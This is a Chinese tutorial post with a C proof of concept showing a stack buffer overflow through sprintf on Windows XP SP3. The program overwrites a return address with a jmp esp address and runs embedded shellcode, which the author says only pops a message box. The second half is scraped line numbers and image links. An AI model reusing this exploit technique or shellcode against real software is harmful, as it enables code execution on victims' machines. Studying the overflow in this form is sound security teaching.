sprintf缓冲区溢出
这段代码的shellcode是抄的别人的,仅仅显示出一个msgbox提醒一下。
编译器为 vc 2005
操作系统为 xp sp3
如果你的编译器或者操作系统不完全相同,有可能溢出失败
大概原理为:
执行sprintf时,将我们构造的长字符串拷贝到堆栈区,从而覆盖了fun函数的返回地址(字符串16字节处),而此时esp正好指向字符串20字节处,因此我们将16处覆盖为jmp esp指令的地址, 将20字节处覆盖为我们的shell code。当函数fun返回时,正好将jmp esp的地址出栈,而执行了jmp esp后,正好执行到20字节处的shell code。
1
#include <stdio.h>
2
#include <string.h>
3![](/Images/OutliningIndicators/None.gif)
4
/***********************************************************************
5
please disable 缓冲区安全检查:
6
c/c++ -> 代码生成 -> 缓冲区安全检查=否(/GS-)
7
please disable 优化:
8
c/c++ -> 优化 ->优化=禁用(/Od)
9
************************************************************************/
10
void fun(const char* input)
11![](/Images/OutliningIndicators/None.gif)
12
{
13![](/Images/OutliningIndicators/InBlock.gif)
14
char buf[10];
15
//_asm int 3;
16
printf("My stack look like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
17
sprintf(buf,"%s",input);//这里会造成溢出
18![](/Images/OutliningIndicators/InBlock.gif)
19
printf("%s\n",buf);
20
//_asm int 3;
21
22
printf("New stack look like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
23
/*_asm
24
{
25
mov ecx,dword ptr [ebp-4] ;
26
xor ecx,ebp;
27
mov eax,0x403000;
28
mov [eax],ecx;
29
}*/
30
}
31![](/Images/OutliningIndicators/None.gif)
32![](/Images/OutliningIndicators/None.gif)
33
char failwest_popup[]=
34
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
35
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
36
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
37
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
38
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
39
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
40
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
41
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
42
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
43
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
44
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
45![](/Images/OutliningIndicators/None.gif)
46
int main(int argc, char* argv[])
47![](/Images/OutliningIndicators/None.gif)
48
{
49![](/Images/OutliningIndicators/InBlock.gif)
50
printf("address of foo=%p\n",fun);
51![](/Images/OutliningIndicators/InBlock.gif)
52
#define N 1000
53
char ss[N];//="AAAAAAAAAA";
54
55
for (int i=0;i<N;i++)
56
{
57
ss[i]='0'+i/10;
58
}
59
/*int p=16;
60
ss[p++]='2';
61
ss[p++]='2';
62
ss[p++]='2';
63
ss[p++]='2';
64
int p2=20;
65
ss[p2++]='3';
66
ss[p2++]='3';
67
ss[p2++]='3';
68
ss[p2++]='3';
69
ss[N-1]=0;*/
70
strcpy(ss+16, "\x12\x45\xfa\x7f"); //JMP ESP
71
strcpy(ss+20, failwest_popup);
72![](/Images/OutliningIndicators/InBlock.gif)
73
fun(ss);
74![](/Images/OutliningIndicators/InBlock.gif)
75
return 0;
76![](/Images/OutliningIndicators/InBlock.gif)
77
}
78![](/Images/OutliningIndicators/None.gif)
79![](/Images/OutliningIndicators/None.gif)
编译器为 vc 2005
操作系统为 xp sp3
如果你的编译器或者操作系统不完全相同,有可能溢出失败
大概原理为:
执行sprintf时,将我们构造的长字符串拷贝到堆栈区,从而覆盖了fun函数的返回地址(字符串16字节处),而此时esp正好指向字符串20字节处,因此我们将16处覆盖为jmp esp指令的地址, 将20字节处覆盖为我们的shell code。当函数fun返回时,正好将jmp esp的地址出栈,而执行了jmp esp后,正好执行到20字节处的shell code。
1
![](/Images/OutliningIndicators/None.gif)
2
![](/Images/OutliningIndicators/None.gif)
3
![](/Images/OutliningIndicators/None.gif)
4
![](/Images/OutliningIndicators/ExpandedBlockStart.gif)
5
![](/Images/OutliningIndicators/InBlock.gif)
6
![](/Images/OutliningIndicators/InBlock.gif)
7
![](/Images/OutliningIndicators/InBlock.gif)
8
![](/Images/OutliningIndicators/InBlock.gif)
9
![](/Images/OutliningIndicators/ExpandedBlockEnd.gif)
10
![](/Images/OutliningIndicators/None.gif)
11
![](/Images/OutliningIndicators/None.gif)
12
![](/Images/OutliningIndicators/ExpandedBlockStart.gif)
13
![](/Images/OutliningIndicators/InBlock.gif)
14
![](/Images/OutliningIndicators/InBlock.gif)
15
![](/Images/OutliningIndicators/InBlock.gif)
16
![](/Images/OutliningIndicators/InBlock.gif)
17
![](/Images/OutliningIndicators/InBlock.gif)
18
![](/Images/OutliningIndicators/InBlock.gif)
19
![](/Images/OutliningIndicators/InBlock.gif)
20
![](/Images/OutliningIndicators/InBlock.gif)
21
![](/Images/OutliningIndicators/InBlock.gif)
22
![](/Images/OutliningIndicators/InBlock.gif)
23
![](/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
24
![](/Images/OutliningIndicators/InBlock.gif)
25
![](/Images/OutliningIndicators/InBlock.gif)
26
![](/Images/OutliningIndicators/InBlock.gif)
27
![](/Images/OutliningIndicators/InBlock.gif)
28
![](/Images/OutliningIndicators/InBlock.gif)
29
![](/Images/OutliningIndicators/ExpandedSubBlockEnd.gif)
30
![](/Images/OutliningIndicators/ExpandedBlockEnd.gif)
31
![](/Images/OutliningIndicators/None.gif)
32
![](/Images/OutliningIndicators/None.gif)
33
![](/Images/OutliningIndicators/None.gif)
34
![](/Images/OutliningIndicators/None.gif)
35
![](/Images/OutliningIndicators/None.gif)
36
![](/Images/OutliningIndicators/None.gif)
37
![](/Images/OutliningIndicators/None.gif)
38
![](/Images/OutliningIndicators/None.gif)
39
![](/Images/OutliningIndicators/None.gif)
40
![](/Images/OutliningIndicators/None.gif)
41
![](/Images/OutliningIndicators/None.gif)
42
![](/Images/OutliningIndicators/None.gif)
43
![](/Images/OutliningIndicators/None.gif)
44
![](/Images/OutliningIndicators/None.gif)
45
![](/Images/OutliningIndicators/None.gif)
46
![](/Images/OutliningIndicators/None.gif)
47
![](/Images/OutliningIndicators/None.gif)
48
![](/Images/OutliningIndicators/ExpandedBlockStart.gif)
49
![](/Images/OutliningIndicators/InBlock.gif)
50
![](/Images/OutliningIndicators/InBlock.gif)
51
![](/Images/OutliningIndicators/InBlock.gif)
52
![](/Images/OutliningIndicators/InBlock.gif)
53
![](/Images/OutliningIndicators/InBlock.gif)
54
![](/Images/OutliningIndicators/InBlock.gif)
55
![](/Images/OutliningIndicators/InBlock.gif)
56
![](/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
57
![](/Images/OutliningIndicators/InBlock.gif)
58
![](/Images/OutliningIndicators/ExpandedSubBlockEnd.gif)
59
![](/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
60
![](/Images/OutliningIndicators/InBlock.gif)
61
![](/Images/OutliningIndicators/InBlock.gif)
62
![](/Images/OutliningIndicators/InBlock.gif)
63
![](/Images/OutliningIndicators/InBlock.gif)
64
![](/Images/OutliningIndicators/InBlock.gif)
65
![](/Images/OutliningIndicators/InBlock.gif)
66
![](/Images/OutliningIndicators/InBlock.gif)
67
![](/Images/OutliningIndicators/InBlock.gif)
68
![](/Images/OutliningIndicators/InBlock.gif)
69
![](/Images/OutliningIndicators/ExpandedSubBlockEnd.gif)
70
![](/Images/OutliningIndicators/InBlock.gif)
71
![](/Images/OutliningIndicators/InBlock.gif)
72
![](/Images/OutliningIndicators/InBlock.gif)
73
![](/Images/OutliningIndicators/InBlock.gif)
74
![](/Images/OutliningIndicators/InBlock.gif)
75
![](/Images/OutliningIndicators/InBlock.gif)
76
![](/Images/OutliningIndicators/InBlock.gif)
77
![](/Images/OutliningIndicators/ExpandedBlockEnd.gif)
78
![](/Images/OutliningIndicators/None.gif)
79
![](/Images/OutliningIndicators/None.gif)